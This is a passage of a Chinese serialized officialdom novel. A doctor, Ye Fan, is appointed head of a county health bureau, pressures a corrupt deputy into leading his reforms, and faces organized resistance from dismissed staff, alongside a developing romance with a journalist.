赵德胜一张脸憋成了酱紫色,手里的佛珠捏得嘎吱作响,却一个字都说不出来。
两人在一群同样面色尴尬的“专家”簇拥下,几乎是逃也似的挤下台,狼狈地钻进汽车,一溜烟地消失在众人的哄笑声中。
马文亮看着他们落荒而逃的背影,心里百感交集。
他一方面感觉自己被叶凡当枪使,彻底得罪了这帮“盟友”;另一方面看到这两人吃瘪,他心里竟涌起一股莫名的、变态的舒爽。
他娘的,让你们平时在我面前人五人六,这下傻眼了吧?
就在这时,几个人从广场边缘那辆不起眼的黑色轿车里走了出来,径直穿过人群,走上了台。
为首的是一个四十多岁的中年人,国字脸,眼神锐利,身上有种不怒自威的气场。他胸前挂着市卫生局的工作牌。
马文亮心里“咯噔”一下,暗道:正主来了!
他下意识地看向叶凡,准备看他怎么应对。
“请问,哪位是叶凡同志?”中年人开口,声音沉稳。
“我是。”叶凡迎了上去,不卑不亢。
“你好,我是市卫生局医政处的王建民,这几位是我的同事。”王建民伸出手,和叶凡握了握,“我们是接到群众匿名举报,特地下来了解一下情况的。”
他嘴上说着“了解情况”,但目光却在叶凡、陈望道和病床上的周国福之间来回扫视,眼神里的震撼怎么也掩饰不住。
“欢迎市局领导检查指导工作。”叶凡神色坦然,“我们所有的工作都经得起检验。这是我们的项目顾问,陈望道老先生。”
王建民的目光转向陈望道,态度明显恭敬了许多:“陈老先生,久仰。刚才那手针法,真是让我等大开眼界。”
陈望道只是掀了掀眼皮,从鼻子里“嗯”了一声,又闭上了眼睛,一副“莫挨老子”的架势。
王建民也不尴尬,转头又向周国福的家属详细询问了病情和过往的治疗史。
周国福的儿子激动地把这几年跑遍各大医院,钱花光了病却越来越重的经历说了一遍,尤其提到了县中医院和百草堂是如何给他们判了“死刑”的。
每一个字,都像是在为叶凡他们做背书。
王建民听完,点了点头,对叶凡说:“叶凡同志,你们这种中西医结合、勇于创新的精神,值得肯定。我们想看一下你们项目的相关资料,可以吗?”
“当然可以。”叶凡对孙兆龙使了个眼色。
孙兆龙立刻屁颠屁颠地跑回工棚,抱来了一大摞文件,从项目立项报告到采购清单,再到病例数据分析,一应俱全。
王建民接过那份叶凡熬夜写的康复中心方案,只翻了几页,眼神就变了。
他本以为这只是个乡镇项目,报告估计也是些套话空话。可手里的这份方案,数据详实,逻辑严谨,理念超前,甚至对未来可能遇到的问题都做了预案。
这根本不是一个乡镇项目该有的水平,甚至比市里一些单位搞的方案都强得多。
“这份方案……是你写的?”王建民抬头看着叶凡,眼神里多了几分审视。
“是我主笔,也是我们团队集体智慧的结晶。”叶凡回答。
王建民没再说话,只是合上方案,深深地看了叶凡一眼。
……
县委大楼,书记办公室。
张海涛听着秘书的汇报,脸色阴沉得能滴出水来。
他手中的紫砂茶杯,被他摩挲得发亮,杯里的茶水早已凉透。
“你是说,市卫生局的调查组,当场就肯定了他们的工作?”他的声音压抑着怒火。
“是的,书记。据说王建民处长对叶凡的方案评价很高。而且……而且今天广场上至少有两三千人,苏沐秋还带了市报的记者全程录像,这事……怕是压不住了。”秘书小心翼翼地回答。
“压?”张海涛冷笑一声,“现在是谁想压?是李建国拿着这件事当成他的政绩,到处去报喜!”
他设下的一个必死之局,竟然被叶凡硬生生盘活了,还反手把他自己这边的李长青和赵德胜打得满地找牙。
最可气的是,叶凡全程打着“为民办事”的旗号,用着他批下去的钱,办了一件让他吃了苍蝇一样恶心的“好事”。
他现在非但不能动叶凡,还得捏着鼻子,把这个“先进典型”给供起来。
这口气,他怎么咽得下!
与此同时,县长李建国的办公室里,气氛却是一片春意盎然。
他放下电话,脸上是掩饰不住的笑意。电话是市里的老领导打来的,对他“慧眼识珠,大胆启用年轻干部,在基层医疗改革上做出突破”大加赞赏。
李建国拿起桌上的内线电话,直接拨给了叶凡。
“小叶啊,”他的声音带着亲切的笑意,“听说市局的同志下去调研了?怎么样,没给你们添麻烦吧?”
叶凡立刻听出了李建国话里的意思,恭敬地回答:“感谢李县长关心。市局的领导对我们的工作给予了肯定,也提出了一些宝贵的指导意见。我们一定按领导的指示,把工作做得更扎实。”
“好,好啊!”李建国满意地笑了,“你们这是为全县的医疗工作开了个好头,是实实在在的政绩!不要有顾虑,大胆地干!县里就是你们最坚强的后盾!”
挂了电话,叶凡站在工棚前,看着远处夕阳下那片热火朝天的工地,心里一片清明。
手机再次响起,是钱国栋的。
“小子,可以啊!”电话一接通,就传来钱国栋爽朗的笑声,“你这把火,直接从镇里烧到了市里。我听说,市卫生局那个王建民,回去之后就写了份报告,把康复中心夸成了花。张海涛的脸,今天比锅底还黑!”
叶凡笑了笑:“也是被逼无奈。”
“官场上,哪次机会不是被逼出来的?”钱国栋话锋一转,声音低沉下来,“东风已经来了,你得借好这股东风。县卫生局现在这个局面,马文亮被你捏在手里,一盘散沙。李县长需要一把快刀,去把这个摊子重新收拾起来。”
叶凡静静地听着。
“我估计,快了。李县长很快就会找你谈话。”钱国栋最后说道,“你那个卫生局副局长的‘副’字,也该拿掉了。准备一下吧,从幕后走到台前,你面对的,可就不仅仅是几个跳梁小丑了。”
电话挂断,叶凡的目光变得深邃。
他知道,青山镇这台戏唱完了,更大的舞台,已经为他拉开了帷幕。
他从一个只想“躺平”的医生,到如今,马上就要成为执掌一县卫生大权的局长。
这条路,他已经无法回头。
正在这时,苏沐秋走了过来,把一个相机递给他,脸上带着狡黠的笑:“叶大局长,看看我今天抓拍到的精彩瞬间。”
相机屏幕上,正是李长青和赵德胜面如死灰、仓皇逃窜的窘态,那表情要多精彩有多精彩。
叶凡看着照片,忍不住笑了起来。
苏沐秋看着他的笑容,眼神温柔:“祝贺你,你又赢了。”
叶凡收起笑容,看着她:“这才刚开始。”
第132章 新官上任,旧账难清!
夜幕降临,广场上的人潮渐渐散去,只留下一片狼藉和空气中尚未消散的兴奋。
工地的灯火将半边天映得亮如白昼,轰鸣的机器声成了此刻最雄壮的背景音乐。
苏沐秋收起相机,侧头看着身旁的叶凡,他正眺望着远处的工地,脸上的疲惫被灯光和胜利的喜悦冲淡。
“叶大局长,现在感觉怎么样?”苏沐秋的语气带着一丝调侃,眼波流转,在灯火下格外明亮。
叶凡回过神,看着她俏皮的笑脸,也笑了:“感觉像刚下了一台十二个小时的手术,腿是软的,但心里是定的。”
“你现在越来越不像个医生了。”苏沐秋抱着手臂,歪着头打量他。
“哦?那像什么?”
“像个……谋士。”苏沐秋想了想,认真地说,“每一步都算得清清楚楚,把人心也当成了棋盘。今天这一出,李院长和赵半仙怕是后半辈子都有心理阴影了。”
叶凡没有反驳,只是轻声道:“当手术刀救不了人的时候,就只能换一种工具了。”
晚风吹来,带着工地的尘土和夜的凉意。
苏沐秋下意识地缩了缩脖子,她今天为了上镜,穿得有些单薄。
叶凡默默脱下自己的外套,披在了她肩上。
外套上还带着他的体温和淡淡的烟草味,苏沐秋的脸颊微微一热,嘴上却说:“干嘛,想收买我?明天的报道我可不会手下留情,该怎么写就怎么写。”
“那最好。”叶凡看着她,目光里是少有的温柔,“最好把今天发生的一切,原原本本地写出来,让所有人都看看。”
两人一时没有说话,只是并肩站着,看着远处那片热火朝天的土地。
机器的轰鸣声似乎也远去了,在他们之间,有一种无需言语的默契在静静流淌。
苏沐秋能感觉到,这个男人在经历了背叛与屈辱后,正在以一种惊人的速度成长,他的肩膀,似乎也越来越宽阔。
“叮铃铃——”
刺耳的电话铃声打破了这份宁静。
叶凡看了一眼来电显示,是县长李建国的秘书。
他走到一边接起电话,只是简短地应了几声“是”、“明白”、“我马上到”。
挂了电话,他对苏沐秋说:“县长找我,我得去一趟县里。”
“去吧。”苏沐秋把外套递还给他,“正事要紧。路上开车小心。”
“嗯。”叶凡接过外套,顿了顿,又说,“等我回来。”
……
一个小时后,叶凡走进了县政府大楼,李建国的办公室灯还亮着。
“来了,坐。”李建国指了指对面的沙发,亲自给叶凡倒了杯水,脸上带着抑制不住的欣赏。
“小叶,今天这台戏,唱得漂亮啊!”李建国一开口就是毫不掩饰的夸赞,“不显山不露水,就把那边的人打了个落花流水,还顺便把市卫生局的调查组变成了咱们的拉拉队!精彩!”
“都是李县长您领导有方,我只是做了分内的事。”叶凡姿态放得很低。
“少来这套。”李建国摆摆手,笑骂了一句,随即脸色一正,“今天叫你来,是想跟你谈谈县卫生局的事。你那个‘代理’两个字,也该拿掉了。”
叶凡心中一动,但脸上不动声色,静静地听着。
“县卫生局这个摊子,烂了不是一天两天了。”李建国的语气沉了下来,“人浮于事,效率低下,医疗系统内部山头林立,吃拿卡要的风气屡禁不止。前几任局长,要么是和光同尘,要么是干脆同流合污。老百姓怨声载道,市里年年点名批评,简直成了我们青川县一块甩不掉的牛皮癣!”
他看着叶凡,眼神变得锐利如刀:“我想把这个摊子,交给你。”
“我给你三个月的时间。”李建国伸出三根手指,“人、财、物,县政府这边全力支持!我只有一个要求,三个月后,我要看到一个全新的卫生局!我要你用你在青山镇的这股狠劲,给咱们县整个医疗系统,来一场刮骨疗毒的大手术!”
这番话,是信任,是授权,更是千斤重担。
叶凡知道,李建国这是在把宝押在他身上。
他要是做成了,李建国脸上添光,他自己也将在青川县彻底站稳脚跟。
可要是做砸了,他这个“先进典型”立刻就会变成“政治投机”的反面教材,摔得粉身碎骨。
“李县长,这台手术,我接了。”叶凡没有丝毫犹豫。
“好!”李建国重重一拍桌子,站起身,走到叶凡面前,用力拍了拍他的肩膀,“我果然没看错人!放手去干,出了事,我给你兜着!”
从县政府出来,已是深夜。
叶凡开着车,却没有回青山镇,而是直接开到了县卫生局的大楼前。
大楼黑漆漆的,只有门卫室还亮着一盏昏黄的灯。
叶凡把车停在路边,摇下车窗,点燃了一支烟。
他将成为这里的新主人。
但他要面对的不再是李长青、赵德胜这种级别的对手,而是一个盘根错节、利益固化的庞大系统。
里面的每一个人,都可能是敌人。
第二天一早,县委组织部的任命文件就下来了。
叶凡被正式任命为青川县卫生局书记、局长。
消息传开,虽然早有预见,但整个卫生系统一片哗然。
一个三十出头的年轻人,一个从乡镇提拔上来的“外来户”,竟然一步登天,成了他们的顶头上司。
卫生局的办公楼里,气氛变得异常诡异。
人们交头接耳,窃窃私语,每个人都在揣摩着未来的风向。
叶凡没有搞什么新官上任三把火的仪式,甚至连个全体会议都没开。
他上任的第一件事,就是让办公室把卫生局所有在编人员的档案,以及过去三年的财务账目,全部搬到了他的办公室。
整整三天,叶凡把自己关在办公室里,门都没出。
这让局里那帮老油条们心里更加没底了。
这位新来的叶局长,不按套路出牌,他到底想干什么?
而此刻,副局长马文亮的办公室里,却上演着滑稽的一幕。
“马局,您看,这是我老家捎来的土特产,不成敬意。”
“马局,您晚上有空吗?小弟做东,想请您赏光吃个便饭。”
几个科室的负责人,像苍蝇一样围着马文亮,脸上堆着谄媚的笑。
他们都知道,马文亮之前被派去青山镇当“监工”,是新局长面前的“熟人”,现在自然成了他们想要巴结讨好的香饽饽。
马文亮坐在椅子上,看着这群前倨后恭的嘴脸,心里却是一片冰凉。
熟人?他现在看见叶凡那张笑脸都腿肚子发软。
他敷衍地打发走众人,一个人坐在办公室里,越想越憋屈,越想越害怕。
他拿出手机,犹豫了半天,还是拨通了县委书记张海涛秘书的电话。
然而,电话那头传来的,却是冰冷而客气的回应:“马局长啊,不好意思,张书记这几天日程很满,可能暂时没时间见您。”
马文亮拿着被挂断的电话,手脚冰凉,如坠冰窟。
他被抛弃了。
就在他失魂落魄之际,办公室的门被敲响了。
叶凡的秘书探进头来,脸上挂着职业化的微笑:“马局长,叶局请您过去一趟。”
第133章 投名之状,釜底抽薪!
马文亮站在局长办公室门口,感觉脚下像踩着棉花。
那扇紧闭的红木门,此刻在他眼中,仿佛是通往地府的森罗殿。
他整理了一下衣领,手心全是冷汗,抬起的手在空中僵了半天,才轻轻敲了三下。
“请进。”
声音很平静,听不出喜怒。
马文亮推开门,一股混杂着烟草、茶水和旧纸张的气味扑面而来。
办公室里没开大灯,只有一盏台灯亮着,将叶凡的脸笼罩在光影之中。
他面前,是两座小山似的卷宗,左边是人事档案,右边是财务账目,码放得整整齐齐,透着一股外科医生般的精准和冷酷。
“叶局,您找我?”马文亮挤出一个比哭还难看的笑容。
“马局,坐。”叶凡指了指对面的椅子,没有抬头,继续翻阅着手里的账本。
马文亮如坐针毡,屁股只敢沾半边椅子。
办公室里只有纸张翻动的沙沙声,每一声都像鞭子抽在他的心上。
这种沉默的压迫感,比暴跳如雷的训斥更让人窒息。
足足过了五分钟,叶凡才合上账本,抬起头,目光平静地看着他。
“马局,你在卫生局工作多少年了?”
“……二十二年了。”
“二十二年,老资格了。”叶凡点点头,从那堆财务账目中抽出几张凭证,推到马文亮面前,“老资格,对局里的业务应该很熟。你帮我看看,这几张单子,有什么问题?”
马文亮低头一看,瞬间如遭雷击。
第一张,是去年采购一批“进口医疗设备”的合同,金额高达两百三十万,但收货单上却只有简单的“设备一批”字样,既无型号也无明细。
他记得这笔钱,实际上大部分都进了几个领导的腰包,所谓“进口设备”,不过是几台国产货换了个贴牌。
第二张,是一张八万块的会议费发票,名目是“赴省城学习交流”,时间是去年夏天。
可马文亮清楚地记得,那次根本没人去省城,是他找了家相熟的酒店开的假发票,钱被几个科室负责人分了,他自己也拿了最大头。
第三张,更让他魂飞魄散,是一份“临时工”工资表,上面赫然有他老婆和小舅子的名字,职位是“卫生监督协管员”,每人每月领着三千块的空饷,已经领了两年。
叶凡的指节,在桌上轻轻敲着,发出“笃、笃”的声响,不急不缓。
“马局,你帮我分析分析。是我们的会计业务不精,还是……有人把卫生局当成了自家的提款机?”
马文亮的冷汗“唰”地一下就下来了,后背的衬衫瞬间湿透。
他嘴唇哆嗦着,一个字都说不出来。
这些账目,他以为做得天衣无缝,没想过会有人这么快,这么准地把它翻了出来。
“叶……叶局……我……我……”
“我什么?”叶凡身体微微前倾,光线从下往上照在他的脸上,笑容显得有些森然,“我年纪轻,很多事不懂,所以想请教一下马局。你说,如果我把这些东西,原封不动地交给县纪委,李县长会怎么看?张书记……他会保你吗?”
最后一句,像一柄重锤,狠狠砸在马文亮的心脏上。
张书记?他连自己的电话都不接了!
“扑通”一声,马文亮再也撑不住了,双腿一软,从椅子上滑了下来,瘫坐在地。
“叶局!我错了!我鬼迷心窍!我不是人!”他一把鼻涕一把泪,语无伦次地求饶,“您大人有大量,给我一次机会!我上有老下有小啊!”
叶凡静静地看着他,既不让他起来,也不再说话。
办公室里只剩下马文亮压抑的哭声。
他就是要等马文亮所有的心理防线彻底崩溃。
对付这种人,要么一棍子打死,要么就彻底收服,让他变成自己最听话的狗。
许久,叶凡才缓缓开口:“机会,不是别人给的,是自己争取的。”
马文亮猛地抬头,像抓住救命稻草的溺水者,眼中迸发出希望的光芒。
“叶局,我什么都愿意做!只要您一句话,刀山火海我都去!”
“刀山火海用不着。”叶凡站起身,走到窗边,看着外面漆黑的夜色,“卫生局这潭水,太深,太浑。我想把它搅动一下,可我初来乍到,人手不够。最重要的是,唱红脸的总得有个唱白脸的配戏。”
他转过身,目光如炬:“我要整顿人事,清退那些占着茅坑不拉屎的关系户;我要改革采购制度,砍掉所有伸向财政的黑手;我要打破那些论资排辈的旧规矩,让有能力的人上来。这些事,都会得罪人,得罪很多人。”
“我需要一把刀,一把快刀。这把刀,要对卫生局了如指掌,要心狠手辣,要不怕得罪人。”叶凡的目光落回到马文亮身上,“马局,你觉得,你能不能当这把刀?”
马文亮愣住了。
他瞬间明白了叶凡的意思。
这是……投名状。
叶凡要他亲手去砍断那些过去和他盘根错节的利益链,去得罪那些曾经和他称兄道弟的人。
他将成为卫生局最招人恨的恶人,而所有的功劳和好名声,都将归于叶凡。
可是,他有得选吗?
不当这把刀,他马上就会变成纪委案板上的肉。
“我能!”马文亮从地上爬起来,擦干眼泪,眼神变得狠厉起来,“叶局您放心!从明天开始,谁敢跟改革作对,谁敢阳奉阴违,我第一个不放过他!”
“很好。”叶凡脸上露出了满意的笑容。
他走回办公桌,将那几张要命的凭证收起来,当着马文亮的面,锁进了抽屉。
这个动作,像一把无形的枷锁,牢牢套在了马文亮的脖子上。
“去吧,明天一早,我要看到第一份清退名单。”
马文亮弓着身子,倒退着走出了办公室。
当门关上的那一刻,他浑身力气仿佛被抽空,靠在墙上大口喘着粗气。
他知道,从今往后,他马文亮,就是叶凡手里最锋利,也最没有退路的一把刀。
……
办公室里,叶凡揉了揉发胀的太阳穴,给自己点上一支烟。
窗外的夜色更浓了。
他知道,这场手术才刚刚切开表皮,真正的硬骨头,还在后面。
就在这时,办公室的门被轻轻敲响了。
“谁?”
“送外卖的。”一个清脆又带着笑意的声音传来。
叶凡一愣,走过去打开门,只见苏沐秋俏生生地站在门口,手里提着一个保温饭盒,正冲他狡黠地眨着眼睛。
“叶大局长这是打算修仙呢?听说你三天没出这扇门了,再不食人间烟火,组织部就要给你换个岗位,去道观当主持了。”
她穿着一身简单的白色连衣裙,给这间沉闷压抑的办公室带来了一抹明亮的色彩。
叶凡紧绷的神经松弛下来,笑了笑:“你怎么来了?”
“我们《江城晚报》的王牌记者,关心一下先进典型的工作生活,不行吗?”苏沐秋一边说,一边自顾自地走进来,把饭盒放在茶几上,“快吃吧,我妈亲手做的排骨汤,特地让我给你送来的。”
饭盒打开,香气四溢。
叶凡这才感觉到,自己早已饥肠辘辘。
他也没客气,坐下来就大口吃了起来。
苏沐秋也不说话,就坐在他对面,双手托着下巴,笑吟吟地看着他狼吞虎咽的样子。
“慢点吃,没人跟你抢。”她抽了张纸巾,很自然地伸出手,帮他擦掉了嘴边的一点油渍。
她的指尖不经意地触碰到他的脸颊,温润柔软。
叶凡的动作一僵,抬起头,正好对上她那双清澈如水的眸子。
四目相对,空气仿佛凝固了一瞬。
苏沐秋的脸“腾”地一下红了,像受惊的小鹿,闪电般收回手,眼神有些慌乱地看向别处。
“刚……刚才马文亮出去的时候,脸色跟见了鬼一样。你把他怎么了?”她没话找话地打破了尴尬。
“没怎么,”叶凡的喉结动了动,继续低头喝汤,声音却不自觉地柔和了许多,“只是给他动了个小手术,帮他矫正了一下世界观。”
苏沐秋“噗嗤”一声笑了出来,办公室里那股紧张的气氛,瞬间烟消云散。
她看着眼前这个男人,吃着最家常的饭菜,说着最狠的话。
他时而像个深不可测的权谋家,时而又像个需要人照顾的大男孩。
这种复杂的矛盾感,对她而言,有着致命的吸引力。
“叶凡,”她轻声说,“我知道你压力大,但别把自己逼得太紧。不管多难,我……我们都会支持你的。”
叶凡抬起头,看着她灯光下温柔的侧脸和眼中的真诚,心中最柔软的地方被触动了。
这几天积攒的疲惫和孤独,仿佛都在这一碗热汤和这句简单的话语中,得到了治愈。
他放下碗,认真地看着她:“谢谢你,沐秋。”
这是他第一次,如此郑重地叫她的名字。
第134章 权柄在握,初心不忘!
第二天,青川县卫生局的气氛凝固了。
早上八点半,一条通知发到所有科室:九点整,全体在编人员于大会议室召开紧急会议,不得缺席。
众人心里打着鼓,揣测着这位新官上任的叶局长到底要烧哪三把火。
九点整,叶凡没有出现。
走上主席台的,是双眼布满血丝,脸色却带着一种亢奋潮红的副局长——马文亮。
“咳!”
马文亮清了清嗓子,眼神像鹰隼一样扫过台下每一张熟悉的脸。
过去,这些眼神里有巴结,有轻蔑,有算计。
今天,他要让他们看到恐惧。
“长话短说,开个短会。”马文亮打开一个文件夹,声音干涩而洪亮,“根据局党组的最新决议,为严肃工作纪律,优化人员结构,经研究决定,对以下临时聘用人员,予以清退。”
他顿了顿,享受着台下瞬间死寂带来的快感。
“卫生监督所,王爱萍、柳建军……”
他念出的第一个名字,是局里一位老科长的小姨子。
第二个,是某位县领导的远房侄子。
台下开始骚动,几个当事人脸色瞬间涨红。
马文亮没理会,继续往下念。
名单不长,只有十五个人,但每一个名字背后,都牵着一根看不见的关系线。
这些人,都是局里出了名的“老神仙”,上班喝茶看报,下班准时走人,工资奖金一分不少。
“马文亮!你凭什么!”一个五十多岁的老科长“豁”地站起来,指着马文亮的鼻子骂道,“王爱萍在我们科室干得好好的,你说清退就清退?你这是打击报复!”
“对!凭什么!”立刻有人附和。
马文亮冷笑一声,将文件夹“啪”地摔在桌上:“凭什么?就凭这份考勤表!王爱萍同志,上个季度总共出勤二十七天,其中病假十三天,事假十天。就凭这份工作日志,柳建军同志,半年时间,总共下乡监督检查两次,出具的报告,是从网上抄的!”
他从文件夹里抽出几张纸,高高扬起:“证据,我这里都有!谁不服,可以来我办公室看!也可以直接去县纪委,问问他们同不同意!”
“纪委”两个字一出,像一盆冰水,浇灭了所有人的火气。
马文亮环视全场,声音又提高八度:“我再宣布第二件事!从今天起,局里所有采购、报销,五十元以上,必须由局长和我双签字!所有大额采购,全部重新招标!以前那些不清不楚的账目,财务室立刻封存,等待审计!谁敢伸手,我就剁了谁的爪子!”
整个会场,鸦雀无声。
所有人都像看怪物一样看着马文亮。
这还是那个八面玲珑、见了谁都笑呵呵的马局长吗?
这简直是从地狱里爬出来的活阎王!他这是要把所有人都得罪光啊!
人群的角落里,几个科室负责人面如死灰。
他们明白,马文亮疯了。
而让他发疯的,是那个自始至终没有露面的年轻人。
那间办公室,才是真正的阎王殿。
……
局长办公室里,叶凡正接着电话。
“小叶,我听说了,你这把刀,用得很快嘛。”电话那头,是李建国带着笑意的声音。
“李县长,刮骨疗毒,不下猛药不行。”
“嗯,有魄力!”李建国很满意,“卫生局这潭死水,是该有条鲶鱼进去搅一搅了。你放心,组织部那边我已经打过招呼,人事任免,你放手去做。只要程序合规,谁来打招呼,你都让他来找我!”
“谢谢县长支持。”
挂了电话,叶凡走到窗边,看着楼下那些三三两两、交头接耳的人。
他知道,马文亮这把刀已经成功地在卫生局这个僵化的身体上,划开了第一道口子。
血,会流出来。
但只有这样,脓疮才能被挤掉。
他拨通了办公室的内线电话:“小张,通知下去,我下午要去青山镇调研,局里的工作,暂时由马文亮同志全权负责。”
这个决定,让所有人都大跌眼镜。
在新旧势力交锋最激烈的时候,主帅竟然要离开战场?
……
下午,叶凡开着那辆半旧的桑塔纳,驶上了去往青山镇的路。
车刚开出县城,路边一个熟悉的身影就让他踩下了刹车。
苏沐秋背着一个双肩包,穿着一身利落的牛仔裤白T恤,正对着他挥手,脸上带着得意的笑。
“你怎么在这?”叶凡摇下车窗。
“我们报社要对‘青山医疗模式’做一期深度追踪报道,我作为首席记者,当然要亲赴一线。”苏沐秋一本正经地说,然后麻利地拉开车门坐进副驾驶,“顺路搭个车,叶局长不介意吧?”
叶凡看着她狡黠的眼神,笑了起来:“介意,怕你把我的车费给报道出去。”
车子重新启动,车里的气氛轻松了许多。
“你可真行,把马文亮推到前面当恶人,自己跑出来躲清闲。”苏沐秋系好安全带,语气里带着调侃。
“这不叫躲清闲,这叫战略转移。”叶凡目视前方,“卫生局那栋楼,只是手术台。真正的病人,在下面。青山镇的试点要是失败了,我在局里搞得再天翻地覆,也是无根之木。”
苏沐秋看着他的侧脸,阳光透过车窗,勾勒出他专注而坚毅的轮廓。
这个男人总能清晰地看到问题的本质,不为眼前的权力纷争所迷惑。
“你就不怕马文亮在背后搞鬼?”
“他不敢。”叶凡的语气很平淡,“一个医生想让病人听话,最好的办法,就是让他知道,只有你,能治他的病,也能要他的命。”
苏沐秋听着这冷酷的比喻,没来由地打了个寒颤,却又觉得无比贴切。
车子行驶在乡间公路上,两边的田野绿意盎然。
“我听说了,市卫生局的调查报告,评价非常高。”苏沐秋换了个话题,“你那个‘中西医结合康复中心’,已经被列为市级重点扶持项目了。张海涛想给你下绊子,结果反倒给你送了架梯子。”
“所以,我得回去把梯子搭得更稳一点。”叶凡说。
苏沐秋看着他,忽然轻声问道:“叶凡,你这么拼,到底是为了什么?证明给柳如烟看?”
这个问题,像一根针,轻轻刺了一下。
叶凡沉默了片刻,握着方向盘的手紧了紧。
“以前是。”他缓缓开口,声音有些低沉,“像个傻子一样,总想着证明自己不是废物。但现在……”
他转过头,看了一眼苏沐秋:“现在,我只是想把一些事情,做成。当我看到周老厂长能重新开口说话,看到王铁柱他们不用再为医药费发愁,那种感觉……比在手术台上救活一个病人,更让我觉得踏实。”
他的眼神里没有了当初的阴郁和不甘,取而代之的是一种前所未有的清澈和坚定。
苏沐秋的心,被这眼神看得漏跳了一拍。
她能感觉到这个男人正在完成一场自我蜕变,他挣脱了过去的枷锁,找到了真正属于自己的战场。
车子猛地颠簸了一下,苏沐秋没坐稳,身子一歪,整个人朝着叶凡倒了过去。
她的额头撞在了叶凡的肩膀上,一股淡淡的洗发水清香,混杂着他身上熟悉的气息,瞬间将她包围。
叶凡下意识地伸出手,扶住了她的肩膀。
手掌下,能清晰地感觉到她身体的柔软和微微的战栗。
“没事吧?”
“没……没事。”苏沐秋闪电般坐直了身体,脸颊烫得像火烧,心如鹿撞,连耳根都红透了。
她不敢去看叶凡,只能扭头看着窗外飞速掠过的风景,假装镇定。
车里的空气,一时间变得有些微妙。
叶凡收回手,指尖似乎还残留着那份温润的触感。
他清了清嗓子,打破了沉默:“前面就到了。”
当桑塔纳驶入青山镇时,眼前的景象,让叶凡和苏沐秋都愣住了。
镇口的路上,站满了人。
钱国栋、李德海、孙兆龙,还有那个傲骨铮铮的陈望道,都站在最前面。
他们身后是黑压压的村民,王铁柱他们也在人群里,咧着嘴笑。
“欢迎叶局长回乡指导工作!”钱国栋带头鼓起了掌。
“欢迎叶局长!”
雷鸣般的掌声和欢呼声,响彻云霄。
叶凡推开车门,看着眼前一张张朴实而热情的脸,看着钱国栋赞许的目光,看着孙兆龙他们发自内心的敬佩,再也不是初来乍到时的冷漠和戒备。
他忽然明白了,这里,才是他的根。
他不是回来躲清闲的。
他是回家了。
第135章 暗流涌动,风起于末!
青山镇的入口,尘土飞扬。
上百号人将不宽的土路堵得水泄不通,那股子热浪混杂着汗味与烟草味,扑面而来。
叶凡在青山镇受到英雄般的欢迎。
钱国栋站在最前面,黝黑的脸上是毫不掩饰的赞许,他带头鼓起了掌。
“欢迎叶局长回乡指导工作!”
雷鸣般的掌声与欢呼声,瞬间淹没了桑塔纳引擎的嗡鸣。
王铁柱等人挤在人群里,咧着嘴笑,脸上的褶子堆在一起。
孙兆龙和那群专家也在,他们眼中的神色早已从初来时的挑剔和怀疑,变成了纯粹的敬佩。
叶凡推门下车,看着这一张张朴实又热烈的脸,心中却没有太多波澜。
他朝众人点头致意,目光越过人群,落在了远处那片依旧轰鸣的工地上。
他不是来接受欢呼的。
他是来加固城墙的。
当晚,镇政府的会议室灯火通明。
没有庆功宴,只有一场连夜召开的现场会。
叶凡没有坐主位,他坐在了长条会议桌的一侧,对面是钱国栋、孙兆龙、李德海,还有那个一身傲骨的陈望道。
“我这个局长,主要工作在县里。青山镇这个摊子,以后就是各位的了。”
叶凡的声音很平静,却让在场所有人都精神一振。
他这是在放权。
“我提议,成立两个小组。技术小组,由孙主任牵头,陈老先生做顾问,负责所有医疗方案的制定、执行和教学。行政小组,由李院长负责,钱书记监督,管好后勤、财务和人事。”
“我的要求只有一个。”
叶凡的指节在桌上轻轻叩击。
“把‘青山模式’的每一个环节,从病人建档、专家下乡、师带徒、远程会诊,到药品采购、财务公开、绩效考核,全部给我做成标准化的流程。”
“我要一本傻瓜式的‘操作手册’,详细到任何一个村医,拿到这本手册,就知道自己该干什么,怎么干。”
孙兆龙的眼睛亮了。
李德海的呼吸急促了。
他们瞬间明白了叶凡的意图。
这不是一个试点。
这是一个可以无限复制的模板。
苏沐秋坐在角落,飞快地在笔记本上记录着。
相机镜头下的叶凡,冷静、专注,像一个精密的外科医生,正在解剖一个庞大而复杂的政治样本。
她敏锐地意识到,叶凡不只是在搞医疗改革。
他是在打造一个坚不可摧的“政治样板间”。
这里,将是他未来在青川县,乃至江城市立足的根基。
……
正如叶凡所料,他离开后的县卫生局,已经炸开了锅。
马文亮手持叶凡赐予的“尚方宝剑”,成了一把最锋利的刀。
清退冗员,整顿财务。
他每砍下一刀,都必然触动一张盘根错节的利益网。
那些被清退的十五个人,以及他们背后的关系户,迅速联合起来。
他们不敢直接攻击叶凡的廉洁,因为青山镇的功绩摆在那,无懈可击。
一场针对叶凡的“软抵抗”,悄然拉开序幕。
“新来的叶局长,一点人情味都没有,搞一言堂。”
“改革是好事,但不能这么没有人文关怀啊,一刀切,让那些老同志怎么活?”
“那个马文亮,就是个狐假虎威的酷吏,叶凡的狗腿子!”
各种流言蜚语,在卫生局的各个角落,在县城的各个酒局饭桌上,悄然散布。
县委书记张海涛的办公室里,檀香袅袅。
县人大一位姓钱的副主任,正声情并茂地“诉苦”,他妻子的一个侄女,就在这次被清退的名单上。
“张书记,我不是为我那不成器的侄女说话。”
“我是心疼咱们青川县的大好局面啊。”
“那个叶凡,年轻人有冲劲是好,可做事太激进了。卫生局现在是人心惶惶,稳定团结的大好局面,就快被他破坏了。”
张海涛端着茶杯,轻轻吹着浮沫,脸上看不出喜怒。
他听着,没有打断,也没有表态。
直到钱副主任说得口干舌燥,他才放下茶杯,温和地说道。
“改革嘛,总会遇到一些阻力。同志们有情绪,可以理解。”
“要引导他们,通过合理的方式,表达自己的诉求嘛。”
钱副主任心中一动,立刻明白了书记的暗示。
“合理表达诉求”。
……
第二天一早,一场精心策划的“维权”行动,在县卫生局门口上演了。
十几名被清退者,以几个年过半百、面带愁容的妇女为主力,在办公楼大门前一字排开,席地而坐。
两条刺眼的白色横幅被拉了起来。
“我们要吃饭,要生存!”
“反对暴力裁员,还我工作岗位!”
哭声,控诉声,引来了大量路过的群众围观。
马文亮接到消息,在办公室里急得团团转。
汗水浸湿了他的后背,他感觉天旋地转。
他立刻抓起电话,拨给了那个此刻远在青山镇的年轻人。
“叶局!出事了!他们……他们堵门了!”
电话那头,叶凡的声音却异常冷静,听不出一丝波澜。
他只说了三句话。
“不要驱赶。”
“不要冲突。”
“架起摄像机,把全过程录下来。”
马文亮愣住了。
他以为叶凡会火速赶回,或者雷霆震怒。
可得到的,却是这样冰冷而诡异的指令。
